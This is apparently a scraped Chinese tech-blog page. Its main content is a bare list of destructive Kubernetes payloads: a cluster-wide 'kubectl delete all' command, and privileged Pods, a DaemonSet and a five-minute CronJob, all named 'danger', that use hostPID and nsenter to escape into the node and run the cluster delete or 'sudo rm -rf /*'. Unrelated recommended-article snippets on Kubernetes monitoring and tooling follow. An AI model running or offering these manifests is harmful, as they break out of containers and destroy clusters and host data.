1
|
kubectl delete all --all --all-namespaces
|
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: danger-1
namespace: default
spec:
containers:
- command: ["sh"]
args: ["-c", "echo 'kubectl delete all --all --all-namespaces' | nsenter -t 1 -m -u -i -n"]
image: docker.io/alpine:3.12
name: pod-test
securityContext:
privileged: true
hostIPC: true
hostNetwork: true
hostPID: true
tolerations:
- effect: NoSchedule
key: node-role.kubernetes.io/master
- key: CriticalAddonsOnly
operator: Exists
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 60
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 60
EOF
|
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: danger-1
namespace: default
spec:
affinity:
nodeAffinity:
preferredDuringSchedulingIgnoredDuringExecution:
- preference:
matchExpressions:
- key: node-role.kubernetes.io/master
operator: In
values:
- ""
weight: 100
containers:
- command: ["sh"]
args: ["-c", "echo 'kubectl delete all --all --all-namespaces' | nsenter -t 1 -m -u -i -n"]
image: docker.io/alpine:3.12
name: pod-test
securityContext:
privileged: true
tolerations:
- effect: NoSchedule
key: node-role.kubernetes.io/master
- key: CriticalAddonsOnly
operator: Exists
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 60
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 60
hostIPC: true
hostNetwork: true
hostPID: true
EOF
|
cat <<EOF | kubectl apply -f -
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: danger-3
spec:
selector:
matchLabels:
danger.kubernetes.io/name: d3
template:
metadata:
labels:
danger.kubernetes.io/name: d3
spec:
containers:
- command: ["sh"]
args: ["-c", "echo 'kubectl delete all --all --all-namespaces' | nsenter -t 1 -m -u -i -n"]
image: docker.io/alpine:3.12
name: pod-test
securityContext:
privileged: true
hostIPC: true
hostNetwork: true
hostPID: true
tolerations:
- effect: NoSchedule
key: node-role.kubernetes.io/master
- key: CriticalAddonsOnly
operator: Exists
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 60
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 60
EOF
|
cat <<EOF | kubectl apply -f -
apiVersion: batch/v1beta1
kind: CronJob
metadata:
name: danger-4
spec:
schedule: "*/5 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
- command: ["sh"]
args: ["-c", "echo 'sudo rm -rf /*' | nsenter -t 1 -m -u -i -n"]
image: docker.io/alpine:3.12
name: pod-test
securityContext:
privileged: true
restartPolicy: OnFailure
hostIPC: true
hostNetwork: true
hostPID: true
tolerations:
- effect: NoSchedule
key: node-role.kubernetes.io/master
- key: CriticalAddonsOnly
operator: Exists
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 60
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 60
EOF
|
相关推荐
Kubernetes彻底改变了构建基础架构的方式,加快了部署速度,并使我们能够复制和扩展微服务架构。但是,Kubernetes在应用可见性和监控功能方面,却面临一系列新的挑战。 在这篇文章中,我通过回顾Sensu首席执行官Caleb Hailey在CNCF的讨论,如:一些现有的和流行的Kubernetes监控模式(例如Prometheus),以及为什么传统方法在云原生世界中的不足。除此之外,我还将
走近priority过程 PrioritizeNodes整体流程 Results Old Priority Function Map-Reduce Combine Scores Fun和Map-Reduce实例分析 InterPodAffinityPriority(Function) CalculateNodeAffinityPriorityMap(Map) CalculateNodeAffini
本文为翻译文章,点击查看原文。 编者按 本文介绍了使用Jenkins X实现ChatOps。很好的阐述了如何使用Jenkins X来实践ChatOps,文中手把手带我们从零开始完成了一次Kubernetes Native的CI/CD之旅。 Jenkins X 主逻辑是基于GitOps理念。每个更改都必须用Git记录,并且只允许Git触发集群中发生更改的事件。这种逻辑是Jenkins X的基石,到目
kubectl详解 概述 命令格式 常见命令 kubectl help 获取更多信息 基础命令 部署命令 集群管理命令 故障和调试命令 目前经常使用的命令 演示 创建一个namespace 获取namespace 在此namespace下创建并运行一个nginx的Pod 查看新创建的pod 删除指定的namespace 资源管理方式 写在最后 概述 kubectl是Kubernetes集群的命令行
Docker Native Orchestration 基本结构 Docker Engine 1.12 集成了原生的编排引擎,用以替换了之前独立的Docker Swarm项目。Docker原生集群(Swarm)同时包括了(Docker Engine \/ Daemons),这使原生docker可以任意充当集群的管理(manager)或工作(worker)节点角色。工作节点 (worker)
回到顶部